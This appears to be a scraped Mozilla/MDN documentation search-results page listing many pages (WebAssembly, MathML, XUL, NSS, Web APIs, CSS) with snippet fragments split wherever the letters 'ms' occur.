... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jswebassemblychrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0compileerrorchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 13 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like e
mscripten.
... e
mscripten environment setup first, let's set up the required development environment.
... prerequisites get the e
mscripten sdk, using these instructions: https://e
mscripten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to e
mscripten.
...And 13 more matches
WebAssembly Concepts - WebAssembly
this article explains the concepts behind how webassembly works including its goals, the proble
ms it solves, and how it runs inside the web browser's rendering engine.
... webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platfor
ms by taking advantage of common hardware capabilities.
...this has worked well for us as javascript is powerful enough to solve most proble
ms people have on the web today.
...And 13 more matches
MMgc - Archive of obsolete content
it is a static library that is linked into the flash player but kept separate, and can be incorporated into other progra
ms.
...zeroing rcobjects all rcobjects (including all subclasses) must zero the
mselves out completely upon destruction.
... 0xfbfbfbfb a block given back to the heap manager is me
mset to this (fb == free block).
...And 12 more matches
Gecko Compatibility Handbook - Archive of obsolete content
because of gecko's cross-platform nature, functionality is generally very much the same on different platfor
ms unlike internet explorer for mac and ie for windows, which are very different progra
ms and so may behave quite differently from each other.
...for more solutions to common proble
ms please continue reading this handbook.
...(related article) problem: site has proble
ms in all gecko-based browsers if you are still seeing proble
ms, take a look at the troubleshooting section of this handbook.
...And 12 more matches
Styling lists - Learn web development
m goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults: the <ul> and <ol> elements have a top and bottom margin of 16px (1em) and a padding-left of 40px (2.5em.) the list ite
ms (<li> elements) have no set defaults for spacing.
... rule 4 sets the same line-height on the paragraphs and list ite
ms — so the paragraphs and each individual list item will have the same spacing between lines.
... rules 5 and 6 apply to the description list — we set the same line-height on the description list ter
ms and descriptions as we did with the paragraphs and list ite
ms.
...And 12 more matches
Advanced form styling - Learn web development
previous overview: for
ms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
... objective: to understand what parts of for
ms are hard to style, and why; to learn what can be done to customize them.
... the following live example shows you what they look like in your system — default on the left, and with the above css applied on the right (find it here also if you want to test it on other syste
ms).
...And 12 more matches
Rendering a list of Vue components - Learn web development
rendering lists with v-for to be an effective to-do list, we need to be able to render multiple to-do ite
ms.
...we'll use this to iterate through an array of to-do ite
ms and display them in our app in separate todoitem components.
... adding some data to render first we need to get an array of to-do ite
ms.
...And 12 more matches
Performance best practices for Firefox front-end engineers
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in ter
ms of its impact on other parts of firefox.
...normally, the changes to the dom just result in the standard style calculation occurring immediately after the javascript has finished running during the 16
ms window, inside the "style" step.
... however, it's possible for script to do things that force multiple style calculations (or style flushes) to occur synchronously during the javascript part of the 16
ms window.
...And 12 more matches
IME handling guide
this is a technical term from windows but these days, this is used on other platfor
ms as well.
...additionally, ime may be used for handwriting syste
ms or speech input syste
ms on some platfor
ms.
...
mselection::manchor,
mselection::mfocus offset of selection anchor and focus in mtext.
...And 12 more matches
Basics
="decrease input">-</a> right size: <a class="control" href="javascript:incrementinput('input12', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input12',-1);" title="decrease input">-</a> <br/> (click these control buttons to see their effects.) </div> <p> each entry of the following matrix represents <math> <
msup><mrow><mo>(</mo><mi>x</mi><mo>+</mo><mi>y</mi><mo>)</mo></mrow><mi>n</mi></
msup> </math> for some <i>n</i>.
... when you left-click any individual entry, it should toggle between its expanded and unexpanded for
ms.
...</p> <div> <math display="block"> <mtable> <mtr> <mtd> <mtable align="axis" columnalign="left left left"> <mtr> <mtd> <maction id="a11" actiontype="toggle" selection="2"> <
msup> <mrow> <mo>(</mo> <mrow> <mi>x</mi> <mo>+</mo> <mi>y</mi> </mrow> <mo>)</mo> </mrow> <mn>0</mn> </
msup> <mn>1</mn> </maction> </mtd> <mtd> <maction id="a12" actiontype="toggle" selection="2"> <
msup> <mrow> <mo>(</mo> <mrow> <mi>x</mi> <mo>+</mo> <mi>y</mi> </mrow> <mo>)</mo> </mrow> <mn>1</mn> </
msup> <mrow> <mi>x</mi> <mo>+</mo> <mi>y</mi> </mrow> </maction> </mtd> <mtd> <maction id="a13" actiontype="toggle" selection="2"> <
msup> <mrow> <mo>(</mo> <mrow> <mi>x</mi> <mo>+</mo> <mi>y</mi> </mrow> <mo>)</m...
...And 12 more matches
Gecko Profiler FAQ
mstange and ehsan tried to respond to some of the questions in advance in writing, and you can find the answers below.
... how to profile startup code that regresses just a little (<10-15
ms ts_paint/tpaint) [
mstange] we currently don’t have a good way to do that.
... [
mstange] i don’t know.
...And 12 more matches
AT APIs Support
but in the meantime it more up-to-date and contains more details than existed analogues for at-spi and
msaa this documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
... we provide for them the support of these products on windows, linux/unix and os x platfor
ms.
...this is done to ensure a common look and feel across all supported platfor
ms, and to allow for different skins (appearances).
...And 12 more matches
Places Developer Guide
there are two models of identity in the system: uris, and unique integer identifiers for ite
ms in the bookmark system.
...bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); this service provides methods for adding, editing and deleting ite
ms in the bookmarks collection.
... types in the bookmark system there are the four types of ite
ms in the bookmarks system, and their identifiers in the idl: bookmark: nsinavbookmarksservice.type_bookmark folder: nsinavbookmarksservice.type_folder separator: nsinavbookmarksservice.type_separator dynamic container: nsinavbookmarksservice.type_dynamic_container identifying ite
ms in the bookmark system ite
ms in the bookmarks collection are identified by an id unique to the user's profile.
...And 12 more matches
Index
any new window performance proble
ms that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply.
... 20 db views (message lists) mailnews, thunderbird the thread pane (aka message list) is driven by classes that implement nsi
msgdbview and inherit from ns
msgdbview.
... 26 nsi
msgcloudfileprovider nsi
msgcloudfileprovider is the interface that must be implemented by new filelink providers.
...And 12 more matches
RTCPeerConnection.addTrack() - Web APIs
the specified track doesn't necessarily have to already be part of any of the specified strea
ms.
... instead, the strea
ms are simply a way to group tracks together on the receiving end of the connection, making sure they are synchronized.
...the associated receiver is muted (indicating that it is not able to deliver packets) until and unless one or more strea
ms are added to the receiver by the remote peer.
...And 12 more matches
Column layouts - CSS: Cascading Style Sheets
a single row of ite
ms arranged as columns, with all heights being equal.
... you have a set of small ite
ms you want to break into columns.
... a single row of ite
ms with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column.
...And 12 more matches
Authoring MathML - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management syste
ms to help writing web pages.
... using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <
msqrt> <mn>2</mn> </
msqrt> </math> </p> </body> </html> content mathml is not supported by browsers.
...to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/
mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the
mspace or mpadded elements (see the browser compatibility table on these pages).
...And 12 more matches
ui/toolbar - Archive of obsolete content
/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", ite
ms: [previous, next, play, frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
...the only mandatory option is title, but for the toolbar to contain any actual content, the ite
ms parameter must also be supplied, and must contain at least object.
... creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", ite
ms: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", ite
ms: [frame], hidden: true, onshow: showing, onhide: hiding }); function ...
...And 11 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const b
msvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark b
msvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var b
msvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = b
msvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = b
msvc.createfolder(menufolder, "folder name here", b
msvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
...And 11 more matches
Extensions - Archive of obsolete content
for example, to add an item to the end of the tools menu, use the following: <menupopup id="menu_toolspopup"> <menuitem label="thesaurus"/> </menupopup> note that other extensions may be adding their own ite
ms into the same menus.
...as you cannot predict this order, you should not rely on any menuite
ms being in particular positions in the presence of other extensions.
...normally, this menu displays menu ite
ms specific to what was context clicked or focused.
...And 11 more matches
Tree View Details - Archive of obsolete content
here, we will examine how to create a hierarchical set of ite
ms using the view.
... this is a fairly tricky process as it involves keeping track of which ite
ms have children and also which rows are open and closed.
... the iscontaineropen method is used to determine which ite
ms are opened and closed.
...And 11 more matches
The Business Benefits of Web Standards - Archive of obsolete content
introduction and context doing more with less see
ms to be the mission impossible for web designers: addressing more customers, a broader audience, more diversity in ter
ms of browsers, more accessibility, users asking for more speed, while spending less to maintain or redesign a web site.
...the blogging community are particularly dynamic in this respect where on many platfor
ms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right.
...separating presentation from content increases the information/markup ratio, making css-based documents more pertinent with regard to the search ter
ms, which makes them rank higher in search results.
...And 11 more matches
Game distribution - Game development
you don't need to have separate tea
ms to work on the same title targeting different platfor
ms with only one code base to worry about.
...you can put your html5 games into the same arena (see native desktop, later on) and you should because it's good to diversify the platfor
ms you support, but you have to remember that developers creating desktop games have years of experience, great tools and stable distribution channels.
... saying this, desktop platfor
ms can be used for distribution quite easily with the availability of wrappers that can help you prepare native builds of your game see packaging games.
...And 11 more matches
Fundamental text and font styling - Learn web development
web safe fonts speaking of font availability, there are only a certain number of fonts that are generally available across all syste
ms and can therefore be used without much worry.
...there is no way to know this in every case, but the web safe fonts are known to be available on nearly all instances of the most used operating syste
ms (windows, macos, the most common linux distributions, android, and ios).
... the list of actual web safe fonts will change as operating syste
ms evolve, but it's reasonable to consider the following fonts web safe, at least for now (many of them have been popularized thanks to the microsoft core fonts for the web initiative in the late 90s and early 2000s): name generic type notes arial sans-serif it's often considered best practice to also add helvetica as a preferred alternative to arial as, although their font faces are almost identical, helvetica is considered to have a nicer shape, even if arial is more broadly available.
...And 11 more matches
Localization formats
as every new web-dev project takes shape, a project manager should ask the
mselves these questions and have the answers ready before starting the web l10n process.
...which many localizers who are familiar with linux and other projects understand mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer no need to compile to .mo file so a localizer can see his/her changes more quickly creating simple diffs .lang files will be cached which will reduce any slowness effect disadvantage to .lang no plural for
ms no context for localizers unless you provide good comments no styling by localizers if it is needed may be slower because file is not compiled into binaries not used as a standard by any other localization project no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error) cannot use po editor, which most loca...
...with this arrangement, content for localization is presented in the following manner:
msgid "coming soon"
msgstr "bientôt disponible" where the value in the "" of the
msgid is the english content, and the value in the "" of the
msgstr is the translation.
...And 11 more matches
Mozilla MathML Status
mspace implemented.
...
mspace - linebreak not implemented.
...
ms implemented.
...And 11 more matches
nss tech note5
note that some mechanis
ms (*_pad) imply the padding is handled for you by nss.
...you can find a list of cipher mechanis
ms in security/nss/lib/softoken/pkcs11.c - grep for ckf_en_de_.
...you can find a list of digest mechanis
ms in security/nss/lib/softoken/pkcs11.c - grep for ckf_digest.
...And 11 more matches
Python binding for NSS
design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python progra
ms.
...the term pythonic means to follow accepted python paradig
ms and ido
ms in the python language and libraries.
... thus when deciding if the nss/nspr api should be rigidly followed or a more pythonic api provided the pythonic implementation wins because python programmers do not want to write c progra
ms in python, rather they want their python code to feel like python code with the richness of full python.
...And 11 more matches
SpiderMonkey Internals
the representation is 64 bits and uses nan-boxing on all platfor
ms, although the exact nan-boxing format depends on the platform.
...other values are encoded as a value and a type tag: on x86, arm, and similar 32-bit platfor
ms, we use what we call "nunboxing", in which non-double values are a 32-bit type tag and a 32-bit payload, which is normally either a pointer or a signed 32-bit integer.
... on x64 and similar 64-bit platfor
ms, pointers are longer than 32 bits, so we can't use the nunboxing format.
...And 11 more matches
Shell global objects
datenow() return the current time with sub-
ms precision.
... asserteq(actual, expected[,
msg]) throw if the first two arguments are not the same (both +0 or both -0, both nan, or non-zero and ===).
...getsharedarraybuffer perfor
ms an ordering memory barrier.
...And 11 more matches
nsIAccessibleRole
it is used by
msaa only, supported automatically by
ms windows.
...the role is used by xul:browsermessage, role="alert", xfor
ms:message.
...the role is supported automatically by
ms windows.
...And 11 more matches
nsIDOMElement
inherits from: nsidomnode last changed in gecko 1.7 method overview do
mstring getattribute(in do
mstring name); nsidomattr getattributenode(in do
mstring name); nsidomattr getattributenodens(in do
mstring namespaceuri, in do
mstring localname); do
mstring getattributens(in do
mstring namespaceuri, in do
mstring localname); nsidomnodelist getelementsbytagname(in do
mstring name); nsidomnodelist getelementsbytagnamens(in do
mstring namespaceuri, in do
mstring localname); boolean hasattribute(in do
mstring name); boolean hasattributens(in do
mstring namespaceuri, in do
mstring localname); void removeattribute(in do
mstring name) nsidomattr removeattributenode(i...
...n nsidomattr oldattr) void removeattributens(in do
mstring namespaceuri, in do
mstring localname) void setattribute(in do
mstring name, in do
mstring value) nsidomattr setattributenode(in nsidomattr newattr) nsidomattr setattributenodens(in nsidomattr newattr) void setattributens(in do
mstring namespaceuri, in do
mstring qualifiedname, in do
mstring value) attributes attribute type description tagname do
mstring the element tag name.
...do
mstring getattribute( in do
mstring name ); parameters name attribute name return value a do
mstring containing the attribute value.
...And 11 more matches
AddressErrors - Web APIs
properties addressline a do
mstring which, if present, indicates that the addressline property of the paymentaddress could not be validated.
... city a do
mstring which, if present, indicates that the city property of the paymentaddress could not be validated.
... country a do
mstring which, if present, indicates that the country property of the paymentaddress could not be validated.
...And 11 more matches
HTMLAnchorElement - Web APIs
element.accesskey is a do
mstring representing a single character that switches input focus to the hyperlink.
... htmlanchorelement.download is a do
mstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
... htmlanchorelement.hreflang is a do
mstring that reflects the hreflang html attribute, indicating the language of the linked resource.
...And 11 more matches
HTMLObjectElement - Web APIs
htmlobjectelement.align is a do
mstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... htmlobjectelement.archive is a do
mstring that reflects the archive html attribute, containing a list of archives for resources for this object.
... htmlobjectelement.border is a do
mstring that reflects the border html attribute, specifying the width of a border around the object.
...And 11 more matches
PaymentAddress - Web APIs
properties paymentaddress.addressline read only an array of do
mstring objects providing each line of the address not included among the other properties.
... paymentaddress.country read only a do
mstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard.
... paymentaddress.city read only a do
mstring which contains the city or town portion of the address.
...And 11 more matches
SVGStringList - Web APIs
svg string list interface the svgstringlist defines a list of do
mstring objects.
... interface overview also implement none methods void clear() do
mstring initialize(in do
mstring newitem) do
mstring getitem(in unsigned long index) do
mstring insertitembefore(in do
mstring newitem, in unsigned long index) do
mstring replaceitem(in do
mstring newitem, in unsigned long index) do
mstring removeitem(in unsigned long index) do
mstring appenditem(in do
mstring newitem) properties readonly unsigned long numberofite
ms readonly unsigned long length normative document svg 1.1 (2nd edition) properties name ...
... type description numberofite
ms unsigned long the number of ite
ms in the list.
...And 11 more matches
Box alignment in Flexbox - CSS: Cascading Style Sheets
as this page ai
ms to detail things which are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
... basic example in this example, three flex ite
ms are aligned on the main axis using justify-content and on the cross axis using align-ite
ms.
... the first item overrides the align-ite
ms values set on the group by setting align-self to center.
...And 11 more matches
Digital audio concepts - Web media technologies
since the sample rate corresponds to the number of "slices" a sound wave is divided into for each second of time, it's sometimes thought of as a frequency (in the sense that it's a description of something that repeats periodically, not in ter
ms of actual audio frequency), and the samples per second measurement therefore uses the hertz as its unit.
... high-resolution (96 khz) audio is used in some high-end audio syste
ms, and it and ultra-high resolution (192 khz) audio are useful for audio mastering, where you need as much quality as possible while manipulating and editing the sound before downsampling to the sample rate you will use for the final product.
...as a result, audio data is difficult to compress using traditional algorith
ms such as those used by generral-purpose tools like zip, which usually work by replacing repeating sequences of data with a shorthand representation.
...And 11 more matches
StringView - Archive of obsolete content
the ai
ms of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 do
mstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
...*/ for (var ninptidx = nstartidx, noutptidx = 0; noutptidx < noutptlen; ninptidx += fgetinptchrsize(nchrcode)) { nchrcode = fgetinptchrcode(vsource, ninptidx); noutptidx = fputoutptcode(awhole, nchrcode, noutptidx); } break conversionswitch; case 4: /* do
mstring to ascii or binarystring or other unknown encodings */ awhole = new ftaview(noutptlen); /* transcription...
... */ for (var nidx = 0; nidx < noutptlen; nidx++) { awhole[nidx] = vsource.charcodeat(nidx) & 0xff; } break conversionswitch; case 5: /* do
mstring to utf-8 or to utf-16 */ /* mapping...
...And 10 more matches
List of Mozilla-Based Applications - Archive of obsolete content
ion (xulrunner) chromium and google chrome web browser uses mozilla nss and npapi libraries chromeless browser with html-based interface classilla mozilla browser for mac os 9 clines a clone of color lines (game) standalone version cloud web operating system cloud browse iphone/ipad/ipod touch browser see
ms to be firefox running remotely on servers that people access through device conkeror keyboard-oriented browser convertigo enterprise mashup server server tool for transactional web scraping and for web clipping cometbird another firefox mod modified version of firefox correo email couac (fr) web-based email and jabber app ...
... dogtag certificate system uses nss dojo javascript toolkit uses mozilla rhino in shrinksafe eclipse platform open development platform the ajax toolkit framework, standard widget toolkit and eclipsemozilla projects make use of mozilla elixon wc
ms/xul web content management system fully remote xul wc
ms (no need to install extensions).
...genome personal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor see
ms to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the platform is based on mozilla code fennec browser for mobiles as mark notes: fennec is not firefox, it’s a completely different application findthatfont!
...And 10 more matches
Source code directories overview - Archive of obsolete content
there are also platform dependent subdirectories which contain source code for specific platfor
ms.
... photon contains source code for photon, a microkernel windowing system used in several real-time operating syste
ms from qnx software syste
ms ltd.
... build contains scripts (usually perl) and progra
ms used by the mozilla build team for building and managing the mozilla code base.
...And 10 more matches
The Joy of XUL - Archive of obsolete content
platform portability like html, xul is designed to be platform-neutral, making applications easily portable to all of the operating syste
ms on which mozilla runs.
... considering the broad range of platfor
ms that currently support mozilla, this may be one of the most compelling features of xul as a technology for building applications.
...the user interface for all of mozilla's core applications (browser, messenger, address book, etc.) is written in xul with one single code base supporting all mozilla platfor
ms.
...And 10 more matches
Debug - Archive of obsolete content
constants async callback status codes contant description value debug.
ms_async_callback_status_assign_delegate the synchronous work item assigned a callback or continuation to be run by an asynchronous operation.
... 0 debug.
ms_async_callback_status_join the synchronous work item satisfied part of a join asynchronous operation.
... 1 debug.
ms_async_callback_status_chooseany the synchronous work item satisfied a choice asynchronous operation.
...And 10 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in ter
ms of how the main loop should run.
... it helps beginners to the modern game development arena understand what is required when building a game and how web standards like javascript lend the
mselves as tools.
... window.cancelanimationframe( mygame.stopmain ); the key to programming a main loop, in javascript, is to attach it to whatever event should be driving your action and pay attention to how the different syste
ms involved interplay.
...And 10 more matches
Build your own function - Learn web development
finally, add the following code inside the curly braces: const html = document.queryselector('html'); const panel = document.createelement('div'); panel.setattribute('class', '
msgbox'); html.appendchild(panel); const
msg = document.createelement('p');
msg.textcontent = 'this is a message box'; panel.appendchild(
msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); closebtn.onclick = function() { panel.parentnode.removechild(panel); } this is quite a lot of code to go through, so we'll walk you through it...
... we then use yet another dom api function called element.setattribute() to set a class attribute on our panel with a value of
msgbox.
... this is to make it easier to style the element — if you look at the css on the page, you'll see that we are using a .
msgbox class selector to style the message box and its contents.
...And 10 more matches
Introduction to client-side frameworks - Learn web development
objective: to understand how client-side javascript frameworks came to exist, what proble
ms they solve, what alternatives there are, and how to go about choosing one.
...developers who worked with javascript wrote tools to solve the proble
ms they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others.
...by this point, it had already been using react to solve many of its proble
ms internally.
...And 10 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
what we really need next is the ability to allow our users to enter their own todo ite
ms into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data.
... objective: to learn about handling for
ms in vue, and by association, events, models, and methods.
... creating a new to-do form we now have an app that displays a list of to-do ite
ms.
...And 10 more matches
Profiling with the Firefox Profiler
however the following could have some potentially useful information for gecko-specific proble
ms.
...once a range is selected, a magnifying glass appears which zoo
ms into that range.
...there are os-specific waiting functions like ntwaitformultipleobjects seen in the example above taken on windows or mach_
msg_trap on macos.
...And 10 more matches
Build instructions
ns_use_gcc: on platfor
ms where gcc is not the native compiler, tells nss to build with gcc instead of the native compiler.
... use_64: on platfor
ms that support both 32-bit and 64-bit abis, tells nss to build for the 64-bit abi.
... default is 32-bit abi, except on platfor
ms that do not support a 32-bit abi.
...And 10 more matches
NSS functions
object mxr 3.9.2 and later pk11_getnextsafe mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgpara
msfromprivatekey mxr 3.4 and later pk11_getprevgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and late...
... seckey_createdhprivatekey mxr 3.3 and later seckey_createecprivatekey mxr 3.8 and later seckey_createsubjectpublickeyinfo mxr 3.2 and later seckey_decodedersubjectpublickeyinfo mxr 3.4 and later seckey_destroyprivatekey mxr 3.2 and later seckey_ecpara
mstobasepointorderlen mxr 3.12 and later seckey_ecpara
mstokeysize mxr 3.12 and later seckey_destroypublickeylist mxr 3.4 and later seckey_destroysubjectpublickeyinfo mxr 3.2 and later seckey_getpublickeytype mxr 3.3 and later seckey_publickeystrengthinbits ...
... secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_ite
msareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later seckey_copyprivatekeyinfo mxr 3.2 and later seckey_creatersaprivatekey mxr 3.2 and later seckey_destroyencryptedprivatekeyinfo mxr 3...
...And 10 more matches
Manipulating bookmarks using Places
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var b
msvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = b
msvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = b
msvc.createfolder(menufolder, "folder name here", b
msvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var newbkmkid = b
msvc.insertbookmark(newfolderid, uri, b
msvc.default_index, ""); this example instantiates the nsiioservice and uses it to create an nsiuri referring to the google web site, then calls nsinavbookmarksservice.insertbookmark() to create a new bookmark to google, placing it at the end of the bookmarks folder referenced by newbkmkid.
...And 10 more matches
Demo Addon
it lets you iterate over any collection and transfor
ms your collection elements in the given objects, to use fixiterator, you have to import it with cu.import("resource:///modules/iteratorutils.jsm");.
... let data = []; for each (let account in fixiterator(mailservices.accounts.accounts, ci.nsi
msgaccount)) { let info = { server: null, type: null, emails: [], name: null, }; let server = account.incomingserver; if (server) { info.server = server.prettyname; info.type = server.type; } for each (let id in fixiterator(account.identities, ci.nsi
msgidentity)) { // we're only interested in identities that have a real email.
...each account is a nsi
msgaccount.
...And 10 more matches
Mozilla
this article looks over some of them and tries to sort out which should be used under what circu
mstances.
...this document will help you understand all the pieces that comprise mozilla's continuous integration syste
ms.
... creating a localized windows installer of seamonkey preamble: not all of the progra
ms listed below are necessary.
...And 10 more matches
FileSystemEntry - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystementry experimentalchrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: entryedge full support 79prefixed full support 79prefixed prefixed imp...
...upport 18alternate name full support 18alternate name alternate name uses the non-standard name: entryfirefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcopyto experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox ...
... nowebview android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yesfilesystem experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
...And 10 more matches
HTMLIFrameElement - Web APIs
htmliframeelement.align is a do
mstring that specifies the alignment of the frame with respect to the surrounding context.
... htmliframeelement.frameborder is a do
mstring that indicates whether to create borders between frames.
... htmliframeelement.height is a do
mstring that reflects the height html attribute, indicating the height of the frame.
...And 10 more matches
Using IndexedDB - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.
msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.
msidbtransaction || {read_write: "readwrite"}; // this line should only be needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.
msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification.
...since such catastrophic events are rare most consumers should not need to concern the
mselves further.
...And 10 more matches
font-variant - CSS: Cascading Style Sheets
stylistic(), historical-for
ms, styleset(), character-variant(), swash(), ornaments(), annotation() specifies the keywords and functions related to the font-variant-alternates longhand property.
...the possible values are: lining-nu
ms, oldstyle-nu
ms, proportional-nu
ms, tabular-nu
ms, diagonal-fractions, stacked-fractions, ordinal, and slashed-zero.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | none | [ <common-lig-values> | <discretionary-lig-values> | <historical-lig-values> | <contextual-alt-values> | stylistic( <feature-value-name> ) | historical-for
ms | styleset( <feature-value-name># ) | character-variant( <feature-value-name># ) | swash( <feature-value-name> ) | ornaments( <feature-value-name> ) | annotation( <feature-value-name> ) | [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] | <numeric-figure-values> | <numeric-spacing-values> | <numeric-fraction-values> | ordinal | slashed-zero | <east-asian-va...
...And 10 more matches
justify-self - CSS: Cascading Style Sheets
